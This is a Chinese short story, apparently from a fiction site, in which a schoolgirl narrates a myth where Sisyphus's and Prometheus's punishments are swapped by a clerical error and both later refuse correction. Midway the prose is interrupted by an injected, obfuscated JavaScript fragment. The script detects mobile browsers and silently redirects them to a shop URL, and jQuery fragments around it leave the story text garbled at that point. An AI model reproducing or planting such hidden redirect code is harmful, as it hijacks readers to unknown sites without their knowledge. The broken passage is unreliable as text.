阒篇第五则错罚
“里奈，你知道西西弗斯吗？”
这天午休，安安忽然问。
里奈正在削一支铅笔，听见这个名字以后抬起头来。
“知道。”
“我昨天在一本书上看见他的故事了。”安安说，“他说一个人每天都要推一块很大的石头，好不容易推到山顶，石头又会滚下来，然后他就得重新推。”
西西在旁边插嘴：“我知道这个！我爸爸以前跟我说过。好像就是永远做一件没有结果的事情。”
“那你们知道普罗米修斯吗？”里奈问。
糖糖摇头。
西西想了一会儿：“是不是偷火给人类的那个？”
“对。”
“他是不是也是被神惩罚了？”
“嗯。”
里奈把削好的铅笔放在桌上，翻开笔记本。
“那你们有没有想过一个问题？”
“什么？”
“如果有一天，西西弗斯和普罗米修斯的刑罚弄反了呢？”
三个女孩都愣住了。
“弄反？”
“嗯。”
“西西弗斯不推石头，去被鹰啄肝？”
“对。”
“那普罗米修斯去推石头？”
里奈点点头。
西西一下来了兴趣。
“可是他们自己不会发现吗？”
里奈看着她，笑了一下。
“如果他们从一开始，就不知道自己本来应该受什么惩罚呢？”
教室里安静了一瞬。
然后，里奈翻过一页。
“故事就是从这里开始的。”
＊＊＊
很久以前，在古希腊神话所描述的那个世界里，神、人和英雄生活在同一片天空之下。诸神住在高高的奥林匹斯山上，他们拥有远胜于凡人的力量，也制定着人间无法违抗的秩序。凡人如果冒犯了神明，有时候会受到惩罚；而即使是神的亲近者，如果犯下不可原谅的错误，也同样不能轻易逃脱。
西西弗斯就是其中一个。
他原本是科林斯的国王，据说非常聪明，也非常狡猾。他最大的本领不是力量，而是总能在别人以为事情已经结束的时候，想出新的办法逃脱。
有一次，西西弗斯得罪了宙斯。宙斯派死神塔纳托斯来带走他。西西弗斯早已经猜到自己会遭遇什么，于是趁死神没有防备，把塔纳托斯锁了起来。
死神一旦被锁住，死亡也就暂时失去了力量。
于是人间发生了一件前所未有的事情：本来应该死去的人没有死，病得再重的人也不会真正离开，战场上的士兵倒下以后依旧能够站起来。最开始人们因为没有死亡而高兴，可很快他们就发现，没有死亡的世界并不像想象中那么美好。战争无法结束，疾病无法通过死亡得到终结，老人无法安息，活着的人也开始被无尽的痛苦拖住。
诸神最终发现了西西弗斯做的事情。
死神被释放，死亡重新回到人间，而西西弗斯也无法再逃避自己的命运。
众神给他安排了一项永远无法完成的刑罚：把一块巨大无比的石头从山脚推到山顶。
这件事情本身并不困难到无法想象。真正可怕的是，当西西弗斯终于用尽全身力气把石头推上山顶的时候，石头总会在最后一刻滚落下来。
然后，他必须重新开始。
没有终点，没有休息，也没有完成的一天。
这就是西西弗斯最著名的惩罚。
而普罗米修斯所犯下的错误，却完全不同。
他是一位泰坦神，曾经帮助人类。那时候的人类还很弱小，不懂得使用火，也不知道如何利用火焰抵御寒冷、烹饪食物和制造工具。普罗米修斯同情人类，于是偷偷从天界取走火种，把它送给了人类。
火焰落入人间以后，人类开始改变。
他们学会了取暖，学会了烧制陶器，学会了冶炼金属，也逐渐建立起了文明。
可是对于诸神来说，普罗米修斯偷走天火是一种无法容忍的冒犯。宙斯因此决定给他一个永远无法结束的惩罚。
普罗米修斯被锁在高加索山的一块巨大岩石上。每天，一只鹰都会飞来啄食他的肝脏。夜晚降临以后，他的身体又会重新恢复，到了第二天，鹰还会再次出现。
一天。
一年。
十年。
一百年。
痛苦永远不会真正结束。
所以在所有人熟悉的神话里，这两个故事有着非常清楚的对应关系。
西西弗斯推石头。
普罗米修斯受鹰啄肝之刑。
没有人会把他们弄混。
至少，神话是这样流传下来的。
可是，没有人知道，在冥界最深处的一间小小的档案室里，曾经发生过一次极其微不足道的错误。
一个后来改变了两个灵魂几百年命运的错误。
＊＊＊
冥界的工作其实比人间想象得繁琐得多。
亡魂每天都会从人间来到这里，有人因为寿终正寝而来，有人因为疾病而来，有人因为战争而来，也有人因为各种奇怪的原因来到这里。每一个灵魂都需要登记，确认身份，记录生前的行为，然后根据诸神制定的规则接受审判。
负责这些工作的神明和官员并没有传说中那么威严。他们同样会疲惫，会犯困，会抱怨工作太多，有时候也会因为卷轴堆得太高而找不到自己需要的东西。
负责刑罚登记的那位官员尤其忙碌。
那天，他桌上堆着厚厚的卷轴，一旁还有好几名亡魂等着办理手续。他已经连续工作了很久，眼睛酸得厉害。
“下一位。”
侍从把一卷新的档案放到他面前。
“西西弗斯。”
官员低头查看。
“罪名呢？”
“欺骗死神，逃避死亡。”
官员点点头。
“刑罚？”
侍从回答：“永恒推石。”
官员提起笔，在卷轴上登记下来。
就在这时，旁边又有人催促：“大人，还有普罗米修斯的档案。”
“放这里。”
另一卷卷轴也被送了过来。
官员看了一眼。
“普罗米修斯，盗取天火。”
“刑罚？”
“鹰啄肝。”
官员正准备写下去，外面突然传来一阵喧闹。
“什么事情？”
“又有一批亡魂到了。”
官员叹了口气，起身去处理。
那一瞬间，一阵穿堂风从窗户吹进来，两张刚刚展开的卷轴被吹得翻动起来。西西弗斯的卷轴和普罗米修斯的卷轴恰好碰在了一起，其中一张掉在地上，另一张也跟着落了下去。
等官员回来时，他只看见两张卷轴交叠在地面上。
他弯腰捡起。
因为忙碌和疲惫，他没有重新核对名字，只是按照顺序将刑罚记录完成。
他盖上印章。
“下一个。”
于是，一个谁也没有注意到的错误发生了。
西西弗斯的刑罚被写成了鹰啄肝。
普罗米修斯的刑罚被写成了推巨石。
档案归档。
刑罚执行。
没有神明发现。
没有人提出异议。
而最荒唐的地方在于——
西西弗斯和普罗米修斯自己，也根本不知道。
＊＊＊
西西弗斯第一次醒来的时候，发现自己被锁在一座高山的岩壁上。
天空非常辽阔。
风从山谷间吹过。
他试着活动身体，却发现自己的四肢都被牢牢固定。他还没有弄明白发生了什么，一只巨大的鹰便从天空俯冲下来。
接下来的事情，他用了很长时间才接受。
他当然知道自己死后会受到惩罚。
他也知道自己曾经欺骗过死神。
所以当疼痛一次次袭来的时候，他只是咬紧牙关。
他没有想到，自己会受到怎样的惩罚。
因为没有人告诉他。
他只知道，这是神明给他的刑罚。
夜晚降临以后，他的身体重新恢复。
第二天，鹰再次出现。
日子就这样开始了。
一年过去。
十年过去。
一百年过去。
西西弗斯慢慢学会了如何面对自己的痛苦。
他知道鹰每天大约什么时候出现，知道山上的风向，也知道自己什么时候应该保存体力。他甚至能够在鹰飞过来的时候提前闭上眼睛。
他从未想过自己的刑罚有什么不对。
他只是觉得：
“我犯了错，所以我必须承受这一切。”
与此同时，在另一座山上，普罗米修斯也开始了自己的刑罚。
他的面前有一块巨大无比的石头。
他不知道为什么自己要推它。
可是冥界的命令就是命令。
于是他开始推。
石头很重。
山坡很陡。
可是普罗米修斯毕竟不是普通的人类，他有着强大的力量。经过漫长的努力，他终于把石头推到了山顶。
然而就在他松了一口气的时候，石头突然向后滚去。
轰隆隆的声音从山坡上传来。
普罗米修斯站在山顶，看着石头越来越远。
他沉默了一会儿。
然后走下山。
重新开始。
第一年，他很愤怒。
第十年，他开始沉默。
第一百年，他已经能够非常熟练地完成整个过程。
他甚至摸清了山坡每一个位置的变化，知道石头在哪一段最难推动，也知道什么时候应该休息。
有时候他会在石头滚落以后坐在山脚下休息片刻。
然后重新站起来。
继续推。
他也从来没有怀疑过。
因为在他看来，这就是自己应得的惩罚。
他偷了火。
他冒犯了宙斯。
所以他必须推石头。
没有人告诉他：
自己原本应该被鹰啄食肝脏。
＊＊＊
几百年以后，那个当年负责登记档案的官员已经老得几乎记不起自己的工作。
新一代的冥界官员开始整理旧档案。
他们的工作比以前更加严格，因为随着时间过去，越来越多的神话人物、英雄和罪人进入冥界，古老的档案也必须不断核对。
有一天，一个年轻官员正在整理西西弗斯的卷宗。
他看着上面的罪名。
“欺骗死神。”
又看了一眼刑罚。
“鹰啄肝？”
年轻官员皱起眉头。
他觉得哪里不对。
他翻了一下旁边的资料。
然后愣住了。
“西西弗斯……不是推石头的吗？”
他立刻找到了普罗米修斯的档案。
“盗取天火。”
再往下看。
推石头。
年轻官员彻底愣住。
他把两份档案放在一起。
又看了一遍。
然后第三遍。
最后，他终于意识到了那个已经持续了数百年的错误。
“怎么会这样……”
他的手开始发抖。
他急忙找到自己的上级。
“发生什么事了？”
“西西弗斯和普罗米修斯的刑罚弄反了。”
“什么？”
“他们两个……从几百年前开始，就一直受着彼此的刑罚。”
房间里一下安静了。
过了很久，上级才问：
“他们知道吗？”
年轻官员摇头。
“应该不知道。”
“那就立即纠正。”
“可是……”
“没有可是。错误必须纠正。”
于是，一队冥界官员被派了出去。
他们首先来到了西西弗斯所在的山崖。
那时候，西西弗斯正在等待第二天的鹰。
一个官员走到他面前。
“西西弗斯。”
他睁开眼睛。
“什么事？”
“我们需要告诉你一件事情。”
“什么事情？”
官员翻开卷轴。
“你的刑罚出了错误。”
西西弗斯愣了一下。
“错误？”
“是的。”
“什么意思？”
官员看着他。
“你本来不应该被鹰啄食肝脏。”
西西弗斯沉默了。
过了一会儿，他问：
“那我应该做什么？”
“推石头。”
他又沉默了。
“推石头？”
“是的。”
西西弗斯第一次听见这个名字。
他不知道那是什么。
“为什么？”
“因为那才是你真正应该接受的刑罚。”
西西弗斯看向天空。
那只鹰正停在远处的岩石上。
他忽然有些恍惚。
原来自己这么多年承受的痛苦……
竟然是一个错误。
而在另一边，普罗米修斯也听到了同样的消息。
“你原本不应该推石头。”
普罗米修斯抬起头。
“那我应该做什么？”
“每天被鹰啄食肝脏。”
普罗米修斯看了看自己面前的巨石。
又看了看远处的天空。
他第一次知道，原来这几百年来，他一直受错了刑罚。
两个人终于知道了真相。
可是奇怪的是，他们并没有立刻要求换回来。
＊＊＊
冥界官员本以为这会是一件非常简单的事情。
找到两个人。
告诉他们错误。
纠正错误。
结束。
可是事情并没有那么简单。
西西弗斯看着那块石头。
他第一次知道，那块石头本来属于自己。
可是他并不知道自己是否真的想要它。
几百年来，他已经习惯了山崖。
习惯了天空。
习惯了每天等待那只鹰。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17926019|213529||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>甚至习惯了疼痛出现的时间。
有一天，官员问他：“你为什么不愿意换回去？”
西西弗斯没有马上回答。
很久以后，他才说：
“因为我已经习惯了。”
官员愣了一下。
“这不是你的刑罚。”
“我知道。”
“那你为什么还要留下？”
西西弗斯望着远处。
“因为如果你让我明天开始推石头，我就什么都不知道了。”
“你会学会的。”
“可是要重新学。”
官员沉默。
西西弗斯低头看着自己的双手。
“我已经知道鹰什么时候来，知道疼痛什么时候结束，知道每天晚上身体什么时候恢复。我甚至知道自己明天醒来以后第一眼会看到什么。”
他笑了一下。
“这些事情虽然很痛苦，但已经是我的生活了。”
另一边，普罗米修斯也说出了类似的话。
“我已经知道这块石头有多重。”
官员问：“你不是应该恨它吗？”
“我恨它。”
“那为什么不换？”
普罗米修斯看着那块巨石。
“因为我已经知道该怎么对付它。”
他沉默了一会儿。
“如果换成鹰，我甚至不知道该怎么开始。”
于是两个官员站在冥界的山路上，第一次不知道该如何处理一个看起来非常简单的错误。
他们回去以后，把事情报告给上级。
上级听完，皱起眉头。
“他们拒绝纠正？”
“是。”
“为什么？”
“因为他们已经习惯了。”
上级沉默了很久。
“习惯？”
年轻官员点头。
“他们说，虽然刑罚错了，但已经成为他们的一部分。”
房间里再次安静下来。
最终，上级只说了一句话：
“那就再问问他们。”
＊＊＊
第二次来到山崖时，官员问西西弗斯：
“如果我们不换回来呢？”
西西弗斯看着他。
“会怎样？”
“你会继续受鹰啄之刑。”
“那普罗米修斯呢？”
“继续推石头。”
西西弗斯沉默了。
过了一会儿，他问：
“这算不算新的错误？”
官员没有回答。
西西弗斯又问：
“如果我现在已经知道了真相，那么我继续受这个刑罚，它还是我的刑罚吗？”
年轻官员第一次不知道该怎么回答。
因为从法律上来说，答案很简单。
这是错误。
必须纠正。
可是从西西弗斯本人来说，事情却变得复杂起来。
他已经在这座山崖上度过了几百年。
他记得这里每一块岩石的位置。
记得每天太阳从哪里升起来。
记得鹰第一次飞来的方向。
如果真的把他换到另一座山上，让他开始推一块陌生的巨石，那么那会不会反而成为一种新的惩罚？
普罗米修斯也是如此。
他已经和那块石头相处了太久。
他甚至给那块石头取了一个名字。
“老朋友。”
不是因为喜欢。
只是因为每天见。
官员听到这个名字的时候，表情非常复杂。
“你管它叫老朋友？”
“它每天都在那里。”
普罗米修斯说。
“有时候我觉得，它可能比很多神都更了解我。”
＊＊＊
后来，冥界迟迟没有把他们换回来。
关于这件事情的讨论持续了很久。
有人认为必须纠正错误。
有人认为既然两个人都已经习惯，就应该尊重他们的选择。
还有人认为，无论他们选择什么，最初的错误都不应该被遗忘。
于是这件事情最后被记录进了一份新的档案。
上面写着：
西西弗斯——原应推石，现受鹰罚。
普罗米修斯——原应鹰罚，现推巨石。
下面还有一行很小的字：
“错误已发现，是否纠正，待议。”
几百年以后，又有新的官员看到这份档案。
他们问：
“为什么不换回来？”
老官员回答：
“他们不愿意。”
“为什么？”
“因为他们已经习惯了。”
年轻官员想了想。
“那他们现在到底算不算受到了错误的惩罚？”
没有人回答。
＊＊＊
“所以最后，他们没有换回来？”
糖糖听完以后，忍不住问。
里奈合上笔记本。
“我不知道。”
“可是你不是讲故事的人吗？”
“故事里没有写。”
西西皱起眉头。
“那也太奇怪了。”
“哪里奇怪？”
“明明弄错了，为什么不改？”
里奈看着她。
“如果是你呢？”
西西愣住。
“如果你已经用了十年的时间习惯一件事情，后来有人告诉你，你以前一直做错了，现在可以让你重新开始，但重新开始以后，你什么都不会。”
西西想了一会儿。
“那……我可能也会犹豫。”
糖糖说：“可是错了就是错了呀。”
“嗯。”
里奈点头。
“所以这个故事才叫《错罚》。”
她停了一会儿，又说：
“不过，有时候真正奇怪的并不是犯错。”
“是什么？”
里奈望向窗外。
“是一个错误存在得太久以后，大家开始不知道究竟应该把它改回来，还是继续下去。”
上课铃就在这时响了。
几个孩子回到了自己的座位。
西西却走得很慢。
她走到门口，又忽然回过头。
“里奈。”
“嗯？”
“如果我是西西弗斯，我应该换回来吗？”
里奈想了想。
“这是你的故事。”
“什么意思？”
“所以应该由你决定。”
西西似乎还是不太满意这个答案。
她撇了撇嘴，跑回了自己的座位。
教室重新安静下来。
里奈低下头，把笔记本翻回刚才那一页。
纸上画着两幅很小的图。
一幅是山崖上的鹰。
另一幅是一块巨大的石头。
她看了它们一会儿，然后在两幅图下面分别写下了名字。
西西弗斯。
普罗米修斯。
过了一会儿，她又在两个人的名字中间，轻轻画了一条线。
那条线最后变成了一个问号。